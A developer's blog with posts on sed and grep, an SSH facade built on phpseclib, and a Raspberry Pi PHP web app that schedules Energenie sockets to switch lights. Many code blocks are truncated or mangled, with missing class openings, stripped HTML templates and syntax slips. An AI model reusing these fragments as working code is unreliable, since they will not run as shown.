Samuel Rebollo

Parsing linux command results and lessons learned

Samuel Rebollo Díaz — Sat, 06 Mar 2021 11:02:00 GMT

Over the last two years of my career, I've spent most of my time developing in-house software for my company's own use. Most of it involves the management of our own systems infrasctructure, with servers all around the world and the hardware attached to them. I developed tools that ssh into servers to get configuration settings, hardware serial numbers, record logs and other statistics in a DB, etc. Different pieces of hardware are used for different projects, in the case of one project coming to an end and its hardware being decommissioned, that hardware is usually stored in a cupboard of a data centre until it may be used again. One example of the uses of all this info we record is to help us track our assets and locate the necessary hardware when a new project is comissioned. For this reason, I've been using more linux commands and parsing information more often than I ever did.

I never liked the command line (I know, I'm a weird computer scientist), however, I've come to learn and practice many useful linux commands like head, tail, grep, cat, and pipe their results onto others.

Recently, I had to code a script to parse log files and input their content into our DB, email reports and automatically manage changes in different git repositories. In the process I learnt a couple things that I deem very useful for the future:

The SED command

The sed command in UNIX is a stream editor and it is used to perform basic text transformations on a file like, searching, find and replace, regular expression matching, etc. Moreover, we can use the input from a pipeline in order to modify the stream without the need for a file. By using sed, you can edit files even without opening them and works by making only one pass over the input, being more efficient than other editors.

Example - Replacing or substituting string : Sed command is mostly used to replace the text in a file. Imagine we have an SQL dump file we need to change the DB schema to which the tables belong.

-- ...

INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (113, 65061, 4, '2020-06-04 11:55:44+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (2599, 60587, 8, '2020-06-04 11:56:29+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (32605, 65303, 2, '2020-06-04 11:59:21+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (118, 67628, 1, '2020-07-08 23:10:54+01');
INSERT INTO sessions.viewlog (user_id, viewed_user_id, app_id, time) VALUES (607, 65303, 2, '2020-06-04 11:59:56+01');

-- ...

usersDump.sql file content

The below sed command would remove the replaces the word "sessions" with "users" in the file.

sed -i -e 's/^INSERT INTO sessions\./INSERT INTO users\./' usersDump.sql

This would transform every insert statement to be made in the "users" schema, rather than the "sessions" one.

-- ...

INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (113, 65061, 4, '2020-06-04 11:55:44+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (2599, 60587, 8, '2020-06-04 11:56:29+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (32605, 65303, 2, '2020-06-04 11:59:21+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (118, 67628, 1, '2020-07-08 23:10:54+01');
INSERT INTO users.viewlog (user_id, viewed_user_id, app_id, time) VALUES (607, 65303, 2, '2020-06-04 11:59:56+01');

-- ...

modified usersDump.sql file content

The GREP command

The grep command is a filter that is used to search for lines matching a specified pattern and print the matching lines to standard output.

Example - Get the author line on the last commit on a git repository

If we want to see the last commit information in a git repository we execute the command git show, which will show somthing like the following:

commit 0240dcad7f389a2f18536a8d98547b70124b87c4 (HEAD -> master, origin/master, origin/HEAD)
Author: John Smith 
Date:   Sun May 3 10:39:38 2021 +0100

    Use default dates when not present

[...]

We can pipe that result onto grep so we just get the author line:

git show | grep Author:

so we get:

Author: John Smith

I was already very much used to using this command but with this last project I learnt the following important thing (from the docs):

"the exit status is 0 if a line is selected, 1 if no lines were selected, and 2 if an error occurred"

I normally check for exit status = 0 to make sure there are no errors. However, in this case, not finding a pattern was not an error but just some non-crucial information not available. For this reason, I didn't think that the command returning 1 was OK so I struggle to realise I also needed to check for value 1.

Regular expression tester

I used to use some simple PHP tester to test my regular expressions but with this project, I used Python. I found however a very useful tool to test regular expressions in a bunch of coding languages, https://regex101.com/.

This tool allows you to input your regular expression and your test string and validate it, check for syntax errors and evaluate matchers online.

phpseclib Library

As I mentioned earlier, as part of this project, I needed to ssh into different servers, run linux commands and parse their output. For this purpose, I've used phpseclib, a library that provides pure-PHP implementations of SSH2 and other network protocols. It is currently on its version 3 and its only requirement is to be using PHP 5.6+. It can be installed via composer and their docs are very clear and nice:

composer require phpseclib/phpseclib:~3.0

Apart from SSH2, the library also provides implementations of SFTP, X.509, an arbitrary-precision integer arithmetic library, Ed25519 / Ed449 / Curve25519 / Curve449, ECDSA / ECDH (with support for 66 curves), RSA (PKCS#1 v2.2 compliant), DSA / DH, DES / 3DES / RC4 / Rijndael / AES / Blowfish / Twofish / Salsa20 / ChaCha20, GCM / Poly1305.

As always, when I integrate a sophisticated library into my application, I tend to create a Façade to simplify the way I interface with the bits of functionality I need:

ssh2 instanceof SSH2)
		{
			return $this->ssh2->isConnected();
		}

		return false;
	}

	public function isAuthenticated(): bool
	{
		if ($this->ssh2 instanceof SSH2)
		{
			return $this->ssh2->isAuthenticated();
		}

		return false;
	}

	public function connect($hostname, $username, $password): void
	{
		$this->disconnect();
		$this->ssh2 = new SSH2($hostname);
	    $this->ssh2->login($username, $password))
	}

	public function disconnect(): void
	{
		if ($this->ssh2)
		{
			$this->ssh2->disconnect();
		}
	}

	public function setTimeout($timeout)
	{
		$this->ssh2->setTimeout($timeout);
	}

	public function run($command): array
	{
		$this->ssh2->setTimeout(0);
		$output = $this->ssh2->exec($command);
		$exitCode = $this->ssh2->getExitStatus();

		return [
            "output" => $output,
            "exitCode" => $exitCode
        ];
	}
}

ssh.php

With this simple class, I have a limited but straightforward interface that provides all the functionality I need from phpseclib, making my code simpler and more readable.

Conclusion

These are some of the main "lessons" learned from my most recent project, a simple example of how a one week long development project usually results in a lot of apparently unrelated concepts and pieces that can be learned from most straightforward jobs, and how we can stack those minor pieces of knowledge and use them in further projects.

Raspberry Pi hosted web application to manage Energenie sockets II

Samuel Rebollo Díaz — Fri, 04 Dec 2020 19:20:00 GMT

In the previous post, I explained how to set up and deploy a simple web application to be able to use a Raspberry Pi and the Energenie PiMote control board to switch the remote controlled Energenie sockets I purchased several years ago. In this second part, we will develop the application a bit further to create the necessary software to program our system to switch our lights at certain times and therefore create the appearance of presence at home when we are away.

The domain

We need to include a new element in our domain to represent when a socket will be programmed to perform one of the operations (ON, or OFF). This element will be described in the data model as an Event. In it, we need to persist the Socket that will be actioned by the event, the type of operation and the time when the operation will be triggered.

id;
	}

    /**
     * Get the value of socket
     *
     * @return Socket
     */ 
    public function getSocket()
    {
        return $this->socket;
    }

    /**
     * Set the value of socket
     *
     * @param Socket $socket
     *
     * @return self
     */ 
    public function setSocket(Socket $socket)
    {
        $this->socket = $socket;

        return $this;
    }

	/**
	 * Get the value of operationName
	 *
	 * @return string
	 */ 
	public function getOperationName()
	{
		return $this->operationName;
	}

	/**
	 * Set the value of operationName
	 *
	 * @param string $operationName
	 *
	 * @return self
	 */ 
	public function setOperationName(string $operationName)
	{
		$this->operationName = $operationName;

		return $this;
	}

	/**
	 * Get the value of time
	 *
	 * @return integer
	 */ 
	public function getTime()
	{
		return $this->time;
	}

	/**
	 * Set the value of time
	 *
	 * @param integer $time
	 *
	 * @return self
	 */ 
	public function setTime($time)
	{
		$this->time = $time;

		return $this;
	}

	public function getHours()
    {
        return intval($this->time / 100);
    }

    public function getMinutes()
    {
        return $this->time % 100;
	}
	
	public function getTimeString()
    {
		$hoursString = substr("00{$this->getHours()}", -2, 2);
		$minutesString = substr("00{$this->getMinutes()}", -2, 2);
        return "{$hoursString}:{$minutesString}";
	}

	public function toArray()
	{
		return [
			"id" => $this->id,
			"socket" => [
				"id" => $this->socket->getId(),
				"name" => $this->socket->getName(),
				"description" => $this->socket->getDescription()
			],
			"operationName" => $this->getOperationName(),
			"time" => $this->getTime(),
			"timeString" => $this->getTimeString()
		];
	}

	public function toJson()
	{
		return json_encode($this->toArray());
	}
}

Event.php

As we can see, the events table on DB will be linked to the specific Socket through a foreign key and will also have a string field to store the operation name and an integer value to represent the time of the day from 0 (00:00) to 2359 (11:59 PM). To create this table on our DB, we can just run php vendor/bin/doctrine orm:schema-tool:update. Please note that this is a way to update the DB schema while developing. To update the DB at the deployment stage, we should take advantage of doctrine migrations, which I have left out of these articles for the sake of simplicity.

We should now create the inverse relationship on Socket:

events->add[] = $event;

        return $this;
    }

    /**
     * Remove Event
     */
    public function removeEvent(Event $event)
    {
        $this->events->removeElement($event);
        
        return $this;
    }

    /**
     * Get the value of events
     *
     * @return ArrayCollection
     */ 
    public function getEvents()
    {
        return $this->events;
	}

	public function getNextEvent($time = null)
	{
		$time = $time ?? intval((new DateTime())->format('Hi'));
		$nextEvents = $this->getEvents()->filter(function(Event $event) use ($time){
						return $event->getTime() > $time;
					});

		return $nextEvents->first() ?: $this->events->first();
	}
	
	public function getPreviousEvent($time = null)
	{
		$time = $time ?? intval((new DateTime())->format('Hi'));
		$prevEvents = $this->getEvents()->filter(function(Event $event) use ($time){
						return $event->getTime() < $time;
					});
		return $prevEvents->last() ?: $this->events->last();
	}
	
	public function toArray()
	{
		return [
			"id" => $this->getId(),
			"name" => $this->getName(),
			"description" => $this->getDescription(),
			"events" => array_map(function($event){
				return [
					"id" => $event->getId(),
					"operationName" => $event->getOperationName(),
					"time" => $event->getTime(),
					"timeString" => $event->getTimeString()
				];
			}, $this->events->toArray()),
			"nextEvent" => $this->getNextEvent()->toArray(),
			"previousEvent" => $this->getPreviousEvent()->toArray(),
		];
	}

	public function toJson()
	{
		return json_encode($this->toArray());
	}
}

Sockets.php

And lastly, develop a simple service to retrieve our Events when necessary:

em = $em;
        $this->eventRepository = $em->getRepository(Event::class);
    }

    public function findAll()
    {
        return $this->eventRepository->findAll();
    }

    public function find($id)
    {
        return $this->eventRepository->find($id);
    }

    public function findDue($time = null)
    {
        $time = $time ?? intval((new DateTime())->format('Hi'));

        return $this->eventRepository->findBy(['time' => $time]);
    }
}

EventService.php

Running the Schedule

To be able to execute events, we're going to make use of Symfony console commands, which use the console component.

 composer require symfony/console

First, we need to create a PHP script to define de console application:

getContainer();
$commands = $container->get('commands');

$application = new Application();

foreach ($commands as $class) {
    $application->add($container->get($class));
}

$application->run();

bin/console.php

And for this to work create the cli-config.php file in the root of the project:

getContainer();

return ConsoleRunner::createHelperSet($container->get(EntityManagerInterface::class));

cli-config.php

Having these, we can create a symfony that will run our scheduled events. For more information on Symfony commands, visit the Symfony docs:

eventService = $eventService;
        $this->socketOperationFactory = $socketOperationFactory;
        parent::__construct();
    }

    protected function configure(): void
    {
        parent::configure();

        $this->setName('schedule:run');
        $this->setDescription('Run the scheduled events');
    }

    protected function getOperation($operationName, $socket)
    {
        return $this->socketOperationFactory->createSocketOperation($operationName, $socket);
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $events = $this->eventService->findDue();

        if ($events)
        {
            $output->writeln("Running events");

            foreach ($events as $event)
            {
                $operation = $this->getOperation($event->getOperationName(), $event->getSocket());
                $operation->run();
            }

        }

        return 0;
    }
}

ScheduleRunCommand.php

If we now execute the following in our evironment:

php /var/www/html/bin/console.php schedule:run

The events (if any) that are due this very minute, will be executed.

And finally, we register our ScheduleRunCommand on our bootstrap file:

?php

use App\Application\Commands\ScheduleRunCommand;
use App\Controllers\EventController;
use App\Controllers\HomeController;
use App\Controllers\SocketController;
use App\Controllers\SwitchController;
use App\Utility\Configuration;
use DI\ContainerBuilder;

// ...

    // Twig templates
    Twig::class => function () {
        return Twig::create(__DIR__ . '/../templates', ['cache' => false]);
    },

    // Register commands
    'commands' => [
        ScheduleRunCommand::class
    ],

    // Configuration
    Configuration::class => new Configuration([
        // python scripts path
        'scripts_path' => __DIR__ . '/../bin/scripts'
    ])
    
// ...

bootstrap.php

In order for this to work, we need to create a cron job, to execute our ScheduleRunCommand every minute, the line

$events = $this->eventService->findDue();

will make sure only the due events are executed at the scheduled time. We will come back to this later on this article, at the deployment stage.

Controllers

Now we need to create controllers for the event creations. As in the previous article, we choose to use a class method per controller action so we will create a class to develop all REST actions for Events.


em = $em;
        $this->view = $view;
    }

    public function list(Request $request, Response $response, $args)
    {
        $allEvents = $this->em->getRepository(Event::class)->findAll();
        $events = array_map(function($event){ return $event->toArray();}, $allEvents);
        $response->getBody()->write(json_encode($events));
        return $response->withHeader("Content-Type", "application/json");
    }

    public function get(Request $request, Response $response, $args)
    {
        $event = $this->em->getRepository(Event::class)->find($args["id"]);
        $response->getBody()->write($event->toJson());
        
        return $response->withHeader("Content-Type", "application/json");
    }

    public function store(Request $request, Response $response, $args)
    {
        $data = $request->getParsedBody();
        $socket = $this->em->getRepository(Socket::class)->find($data["socket_id"]);
        $operationName = $data["operation_name"];
        $time = $data["time"];

        // TODO validate

        $event = new Event();
        $event->setSocket($socket)
            ->setOperationName($operationName)
            ->setTime($time);        
        $socket->addEvent($event);
        $this->em->persist($event);
        $this->em->persist($socket);
        $this->em->flush();
        $response->getBody()->write($event->toJson());

        return $response->withHeader("Content-Type", "application/json");
    }

    public function update(Request $request, Response $response, $args)
    {
        $data = $request->getParsedBody();
        $eventId = $args["id"];
        $operationName = $data["operation_name"];
        $time = $data["time"];

        // TODO validate

        $event = $this->em->getRepository(Event::class)->find($eventId);
        $event->setOperationName($operationName)->setTime($time);        
        $this->em->persist($event);
        $this->em->flush();
        $response->getBody()->write($event->toJson());

        return $response->withHeader("Content-Type", "application/json");
    }

    public function delete(Request $request, Response $response, $args)
    {
        $eventId = $args["id"];

        // TODO validate

        $event = $this->em->getRepository(Event::class)->find($eventId);
        $this->em->remove($event);
        $this->em->flush();
        $response->getBody()->write(json_encode(["message" => "event successfully deleted"]));

        return $response->withHeader("Content-Type", "application/json");
    }

    public function edit(Request $request, Response $response, $args)
    {
        $eventId = $args["id"] ?? false;
        // TODO validate
        $event = $eventId ? $this->em->getRepository(Event::class)->find($eventId) : null;
        
        return $this->view->render($response, "forms/eventForm.twig", ['event' => $event]);
    }
}

EventController.php

And add the routes to our bootstrap file:

// ...

// Add middleware
$app->addBodyParsingMiddleware();
$app->add(TwigMiddleware::createFromContainer($app, Twig::class));

// Register routes
$app->post('/switch/{power}', SwitchController::class . ':switch');
$app->get('/', HomeController::class . ':home');

// Events
$app->get('/events/edit[/{id}]', EventController::class . ':edit');
$app->get('/events', EventController::class . ':list');
$app->get('/events/{id}', EventController::class . ':get');
$app->post('/events', EventController::class . ':store');
$app->put('/events/{id}', EventController::class . ':update');
$app->delete('/events/{id}', EventController::class . ':delete');

//...

bootstrap.php

As in the previous article we didn't develop the functionality to edit our socket info, we will now also create the Socket controller:

em = $em;
        $this->view = $view;
    }

    public function list(Request $request, Response $response, $args)
    {
        $allSockets = $this->em->getRepository(Socket::class)->findAll();
        $sockets = array_map(function($socket){ return $socket->toArray();}, $allSockets);
        $response->getBody()->write(json_encode($sockets));
        return $response->withHeader("Content-Type", "application/json");
    }

    public function get(Request $request, Response $response, $args)
    {
        $socket = $this->em->getRepository(Socket::class)->find($args["id"]);
        $response->getBody()->write($socket->toJson());
        
        return $response->withHeader("Content-Type", "application/json");
    }

    public function store(Request $request, Response $response, $args)
    {
        $data = $request->getParsedBody();
        $name = $data["name"];
        $description = $data["description"];

        // TODO validate

        $socket = new Socket();
        $socket->setName($name)->setDescription($description);
        $this->em->persist($socket);
        $this->em->flush();
        $response->getBody()->write($socket->toJson());

        return $response->withHeader("Content-Type", "application/json");
    }

    public function update(Request $request, Response $response, $args)
    {
        $data = $request->getParsedBody();
        $socketId = $args["id"];
        $name = $data["name"];
        $description = $data["description"];

        // TODO validate

        $socket = $this->em->getRepository(Socket::class)->find($socketId);
        $socket->setName($name)->setDescription($description);
        $this->em->persist($socket);
        $this->em->flush();
        $response->getBody()->write($socket->toJson());

        return $response->withHeader("Content-Type", "application/json");
    }

    public function delete(Request $request, Response $response, $args)
    {
        $socketId = $args["id"];

        // TODO 
        // validate
        // delete all linked events

        $socket = $this->em->getRepository(Socket::class)->find($socketId);
        $this->em->remove($socket);
        $this->em->flush();
        $response->getBody()->write(json_encode(["message" => "socket successfully deleted"]));

        return $response->withHeader("Content-Type", "application/json");
    }

    public function edit(Request $request, Response $response, $args)
    {        
        $socketId = $args["id"] ?? false;
        // TODO validate
        $socket = $socketId ? $this->em->getRepository(Socket::class)->find($socketId) : null;
        
        return $this->view->render($response, "forms/socketForm.twig", ['socket' => $socket]);
    }

    public function editEvents(Request $request, Response $response, $args)
    {        
        $socketId = $args["id"] ?? false;
        // TODO validate
        $socket = $socketId ? $this->em->getRepository(Socket::class)->find($socketId) : null;
        
        return $this->view->render($response, "forms/eventEditForm.twig", ['socket' => $socket]);
    }

    
}

and add its routes to bootstrap.php

// ...

// Events

// ...

// Socket
$app->get('/sockets/edit[/{id}]', SocketController::class . ':edit');
$app->get('/sockets/{id}/edit-events', SocketController::class . ':editEvents');
$app->get('/sockets', SocketController::class . ':list');
$app->get('/sockets/{id}', SocketController::class . ':get');
$app->post('/sockets', SocketController::class . ':store');
$app->put('/sockets/{id}', SocketController::class . ':update');
$app->delete('/sockets/{id}', SocketController::class . ':delete');

return $app;

View

The last modification of our software is to edit the view to accomodate the new functionality.



    
        
        
        
        
        

        Cam House sockets

        
        
        
        
    

    
        
            
                Cam House Sockets
            

            
                
                
                {% for socket in sockets %}
                    
                        
                            # {{ socket.id }}
                            {{ socket.name }}
                            {{ socket.description }}
                            
                                
                                     
                                     
                                
                                
                            
                        
                        
                            
                                
                                    
                                         Programmed actions
                                        
                                            
                                            
                                        
                                    
                                    
                                        
                                            {% if socket.events is not empty %}
                                                
                                                    {% for event in socket.events %}
                                                        
                                                            
                                                                switch {{ event.operationName }}, at {{ event.timeString }}
                                                                
                                                                    
                                                                    
                                                                
                                                            
                                                        
                                                    {% endfor %}
                                                
                                            {% else %}
                                                No actions programmed for this socket
                                            {% endif %}
                                        
                                    
                                
                            
                            
                                
                                    
                                        
                                             Socket
                                        
                                        
                                             
                                        
                                    
                                    
                                        
                                            {% if socket.events is not empty %}
                                            
                                                This socket should be {{ socket.previousEvent.operationName }} since {{socket.previousEvent.timeString}}
                                            
                                            
                                                Next action: switch {{ socket.nextEvent.operationName }} at {{socket.nextEvent.timeString}}
                                            
                                            {% else %}
                                                
                                                    No next or previous actions to show
                                                
                                            {% endif %}
                                        
                                    
                                
                            
                            
                        
                    
                {% endfor %}

index.twig

And views to display the forms to create and edit events:

create event, eventForm.twig


    
    {% for event in socket.events %}
        
            
                
                
            
            
                
            :
            
                
            
            
                
            
        
    {% endfor %}

edit event, eventsEditForm.twig

Finaly, the view to edit the socket info:


    
        
        Name
            
        
    
    
        
        Description

socketForm.twig

Our web application has now been modified to accomodate all the new scheduling events and editing information:

Home page

Edit events

Edit socket

Deployment

As in the previous article, we will not set up any complex deployment strategy, so I'd refer to the previous article to see how to upload files and add permissions.

As mentioned earlier, once the code is deployed we need to make use of a cron job to execute our command. To edit the cron jobs on our deployment server, we type.

crontab -e

And then add the following line to execute the ScheduleRunCommand every minute:

* * * * * /usr/bin/php /var/www/html/bin/console.php schedule:run

Conclusion

With this second development, we have updated the software to complete our project. We can now schedule our sockets to switch our lights at different times and give the appearance of the house being inhabited even if it is not.

Raspberry Pi hosted web application to manage Energenie sockets

Samuel Rebollo Díaz — Sun, 27 Sep 2020 19:22:02 GMT

Several years ago I purchased a set of Energenie remote controlled sockets that I used to be able to switch on my living room lamps from my sofa. Since I moved, I haven't put them to much use as they're not as convenient y my current house.

However, a neighbour had a break-in this summer and that made me think I could try and find out the way to program these to switch on and off lights or other devices while we're away so I can give the impression that the house is not empty and avoid a posible burglar threat.

The same company developed a control board for Raspberry Pi (PiMote) so I thought I could use that and develop a piece of software to program them while we're away. Maybe even to action them remotely from our mobile phone or computer.

This article will cover the first step, ie, set up the Raspberry Pi as a with PiMote to pair with and action the sockets and develop a simple web application to operate the sockets from there.

Set up the Raspberry Pi

The first steps to set up the Raspberry Pi are easy to reproduce, a quick google search should be enough if you encounter any trouble:

Download the latest Raspberry Pi OS and burn the SD card using Raspberry Pi Imager. The Lite version is enough as we do not need any graphic interface for this project.
Plug the PiMote board to the Raspberry Pi, the power source and wait until it boots.
Config WiFi settings or plug the Ethernet cable.
Activate SSH to be able to connect to your RPi remotely.

Once all this is ready, we can ssh into our RPi from our computer.

Energenie Raspberry Pi RF-Transmitter Board

Use PiMote to operate the Energenie sockets

The oficial PiMote Manual is a very good guide to learn how to operate the Energenie sockets from our RPi. I used its example to develop the python scripts for this projects. First, let's ssh into our RPi:

$ ssh 192.168.0.31

Substitute the IP address for the one of your own Raspberry Pi

First, we need to pair the sockets to PiMote, for which I developed this script, heavily based on the official manual. First, create a new file:

$ sudo nano energenie_pair.py

Paste the script code and save.

Plug one of the sockets and press the switch until the LED light starts blinking. Then execute the script like this:

$ python energenie_pair.py 1

Press enter when asked and the led light of your Socket should turn off. Then, you will have paired the Socket "1" to your RPi+PiMote device. It is convenient to label your socket in order not to forget which one is which.

As you can see on this script, pairing and switching the sockets is done through a control code which is different depending on the socket and the action. In order to simplify things, there is a Python library available to deal with the RPi.GPIO details. First we install the python library:

$ sudo apt-get install python-pip
$ sudo pip install energenie

Then, the switch script is pretty easy:

#!/usr/bin/env python

# Import modules
import energenie as e
import time
import sys

# Get command line arguments
socketID=int(sys.argv[1])
action=sys.argv[2]

if(socketID > 4 or socketID < 1 or (action != 'on' and action != 'off')):
  exit("Invalid arguments")

if(sys.argv[2] == 'on'):
  e.switch_on(socketID)
elif(sys.argv[2] == 'off'):
  e.switch_off(socketID)

energenie_switch.py

Using this script, we can just switch on or off our energenie socket just by typing:

$ python energenie_switch 1 on

$ python energenie_switch 1 off

These command will switch on and off the Energenie socket paired as 1.

With this and cron, it should be enough to program lights to be switched on and off at certain times. However, this is not all we want. We want to be able to easily switch the sockets from a nice web interface and ultimately even being able to schedule programs. The next step will cover the creation of a PHP web interface and set-up of an Apache server on our RPi that will serve our GUI.

The software

Even though this problem could be solved by putting together a couple of scripts. I always tend not to go the "easy" way and just do it because I know at some point it will break. Every software project, as simple as they can be, should be tackled in an organised manner. I've been a software engineer for long enough to know the benefits of a properly structured project and the use of good practice and development techniques even for the simplest projects. For this reason, I decided to use some open source tools to lean on in order to ease the development as well as help to keep the project structured.

This instructions assume that you have your own web development environment using PHP + MySQL and related tools to develop our application. Although it would be technically possible to develop directly on the Raspberry Pi, it would not be at all advisable, plus we can explain the setup of the server and deployment of the application later, giving an idea of how a real world project works.

Slim framework

For this project, the primary tool I'll be using is the Slim PHP framework, a "a PHP micro framework that helps you quickly write simple yet powerful web applications and APIs". It is a very simple framework, quick to learn and lean (you could understand its source code in a day). You can read more about this framwork on its official website.

Install framework using composer:

composer require slim/slim:"4.*"

Slim requires any implementation of PSR-7 interfaces for its Request and Response objects, but also has its own ones. We need to install them separately:

composer require slim/psr7

Optionally, we can use a dependency container to prepare, manage, and inject application dependencies. Slim supports containers that implement PSR-11 like PHP-DI. To install it, type:

composer require php-di/php-di

Once we have installed these, let's create a directory structure for the project:

.
├── bin/                Executable files
│   └── energenie_pair.py
│   └── energenie_switch.py
├── config/              App configuration
│   └── bootstrap.php   bootstrapping the application
├── public/             Web server files (DocumentRoot)
│   └── .htaccess       Apache redirect rules for the front controller
│   └── index.php       The application entry point
├── src/                PHP source code
├── templates/          Twig templates
├── var/                Temporary files (cache and logfiles)
├── vendor/             External package (for composer)
├── .htaccess           Internal redirect to the public/ directory
├── .env                Environment variables (DB access) and config values
├── .gitignore          Git ignore rules
└── composer.json       Project dependencies and autoloader

And add a working PSR-4 autoloader for the src/ directory.

"autoload": {
    "psr-4": {
        "App\\": "src/"
    }
}

Run composer update for the changes to take effect.

Entrypoint

Our application should have a single entry point from which the whole application should be served. We will use Apache redirections later to rewrite rules to redirect the web traffic to this single entry point to the application. First, create the application entry point in public/index.php:

run();

Configuration

In order to simplify things, we will put all our settings, config and bootstrap code in a single file, which is enough due to the simplicity of this project. If this gets too complex, we can always divide it into several files to separate concerns. In the config directory, create the bootstrap.php file:

build();

// Instantiate the app
AppFactory::setContainer($container);

$app = AppFactory::create();

// Add middleware
$app->addBodyParsingMiddleware();

// Register routes
$app->get('/', function (Request $request, Response $response) {
	$response->getBody()->write('Hello world!');
	return $response;
});

return $app;

With this in place, we could navigate to our home page and it should show "Hello world!".

Other dependencies

For any data that we'll need to persist, we're going to need a database. To manage the persistence service and related functionality, we will be using Doctrine ORM, the Object-Relational Mapper that is used by Symfony.

Install Doctrine ORM

composer require doctrine/orm

To use the Doctrine entity manager and provide our MySQL database credentials, we need to add the following to our bootstrap.php file:

/* ... */

$containerBuilder = new ContainerBuilder();

$containerBuilder->addDefinitions([
    // dependencies
    EntityManagerInterface::class => function (): EntityManager {
        $config = Setup::createAnnotationMetadataConfiguration([__DIR__.'/../src/Domain/'], true);
        $config->setMetadataDriverImpl(
            new AnnotationDriver(new AnnotationReader, [__DIR__.'/../src/Domain/'])
        );

        $config->setMetadataCacheImpl(
            new FilesystemCache(__DIR__.'/../var/cache/doctrine')
        );

        return EntityManager::create([
            'driver' => "pdo_mysql",
            'host' => "localhost",
            'port' => "3306",
            'dbname' => "homedomo",
            'user' => "domouser",
            'password' => "pasword$%^&*",
        ], $config);
    },

]);

// Build PHP-DI Container instance
$container = $containerBuilder->build();

/* ... */

bootstrap.php

However, this would expose our DB credentials and possibly other config to the version control system. To avoid this, we can make use of dotenv in order to abstract our credentials from our code.

Install DotEnv

composer require vlucas/phpdotenv

create .env file in our root directory with the following values:

DB_DRIVER="pdo_mysql"
DB_HOST="localhost"
DB_PORT=3306
DB_NAME="homedomo"
DB_USER="domouser"
DB_PASSWORD="pasword$%^&*"

.env

And edit the bootstrap.php to include the .env values:

load();

/* ... */

        return EntityManager::create([
            'driver' => $_ENV['DB_DRIVER'],
            'host' => $_ENV['DB_HOST'],
            'port' => $_ENV['DB_PORT'],
            'dbname' => $_ENV['DB_NAME'],
            'user' => $_ENV['DB_USER'],
            'password' => $_ENV['DB_PASSWORD'],
        ], $config);

/* ... */

bootstrap.php

We won't commit the .env to our source code repository making thus our database credentials independent to our source code.

To run database migrations, validate class annotations and so on we will use the Doctrine CLI application that is already present at vendor/bin, but in order to work, this script needs a cli-config.phpfile at the root of the project telling it how to find the EntityManager we just set up:

getContainer();

return ConsoleRunner::createHelperSet($container->get(EntityManagerInterface::class));

cli-config.php

Lastly, we want to install Twig, a PHP flexible template engine to help us display our views:

composer require slim/twig-view

After adding these dependencies, our bootstrap file will look like this:

load();

$containerBuilder = new ContainerBuilder();

$containerBuilder->addDefinitions([
    // dependencies
    EntityManagerInterface::class => function (): EntityManager {
        $config = Setup::createAnnotationMetadataConfiguration([__DIR__.'/../src/Domain/'], true);
        $config->setMetadataDriverImpl(
            new AnnotationDriver(new AnnotationReader, [__DIR__.'/../src/Domain/'])
        );

        $config->setMetadataCacheImpl(
            new FilesystemCache(__DIR__.'/../var/cache/doctrine')
        );

        return EntityManager::create([
            'driver' => $_ENV['DB_DRIVER'],
            'host' => $_ENV['DB_HOST'],
            'port' => $_ENV['DB_PORT'],
            'dbname' => $_ENV['DB_NAME'],
            'user' => $_ENV['DB_USER'],
            'password' => $_ENV['DB_PASSWORD'],
        ], $config);
    },

    // Twig templates
    Twig::class => function () {
        return Twig::create(__DIR__ . '/../templates', ['cache' => false]);
    },

]);

// Build PHP-DI Container instance
$container = $containerBuilder->build();

// Instantiate the app
AppFactory::setContainer($container);

$app = AppFactory::create();

// Add middleware
$app->addBodyParsingMiddleware();
$app->add(TwigMiddleware::createFromContainer($app, Twig::class));

// Register routes
$app->get('/', function (Request $request, Response $response) {
	$response->getBody()->write('Hello world!');
	return $response;
});

return $app;

bootstrap.php

Now we can say, we're ready to start designing our software.

The domain

The first thing we need to model are the sockets. We will use a Doctrine entity to store on DB the following information:

Socket ID
Name
Description

So we create our model class under src/Domain/Socket.php

id;
	}
	
	/**
	 * Set name
	 *
	 * @param string $name
	 *
	 * @return Socket
	 */
	public function setName($name)
	{
		$this->name = $name;

		return $this;
	}

	/**
	 * Get name
	 *
	 * @return string
	 */
	public function getName()
	{
		return $this->name;
	}

	/**
	 * Set description
	 *
	 * @param string $description
	 *
	 * @return Socket
	 */
	public function setDescription($description)
	{
		$this->description = $description;

		return $this;
	}

	/**
	 * Get description
	 *
	 * @return string
	 */
	public function getDescription()
	{
		return $this->description;
	}

}

Socket.php

To create this table on our DB, we just run php vendor/bin/doctrine orm:schema-tool:update. Alternatively we can just prepare the CREATE TABLE statement on SQL and run it using our management system (phpmyadmin, MySQL workbench, etc).

To seed the DB, we could create a migration that would input some records on our DB but the sake of simplicity, I'll just manually input the desired records on DB:

INSERT INTO sockets (`id`, `name`, `description`)
VALUES
(1, 'Living room', 'Living room mantelpiece lamp'),
(2, 'Office', 'Office desk lamp'),
(3, 'Bedroom', 'Bedroom night stand lamp');

Socket Operations (factory method)

For now, we will create three kinds of socket operations (I decided to call them 'operations' rather than 'actions' in order not to confuse them with the controller actions): 'On', 'Off' and 'Pair'. Those operations apply to any of the sockets and will execute one of the python scripts we included in the bin/ directory of our project. To model this, we can make use of an abstract class that will hold the common functionality of any operation and extend it for each of the aforementioned operations. If, in the future, we decided to add a new socket operation, we would just need to extend this class again to create the new one. Finaly we could use a class that would create the kind of operation we need depending on the case. In Software Engineering, this is called a factory method design pattern and is a nice way to show good development practices in this project.

Create the following files on src/Application/SocketOperations:

scriptPath = $scriptPath;
        $this->socket = $socket;
    }

    abstract public function getCommandString();

    public function run()
    {
        $output = [];
        $return = null;

        exec(escapeshellcmd($this->getCommandString()), $output, $return);

        if ($return !== 0)
        {
            throw new SocketOperationRunFailedException(implode(" ", $output));
        }

        return $output;
    }
}

SocketOperation.php

And then, extend this for specific operations:

program} {$this->scriptPath}/energenie_switch.py {$this->socket->getId()} on";
    }
}

SocketPowerOn.php

program} {$this->scriptPath}/energenie_switch.py {$this->socket->getId()} off";
    }
}

SocketPowerOff.php

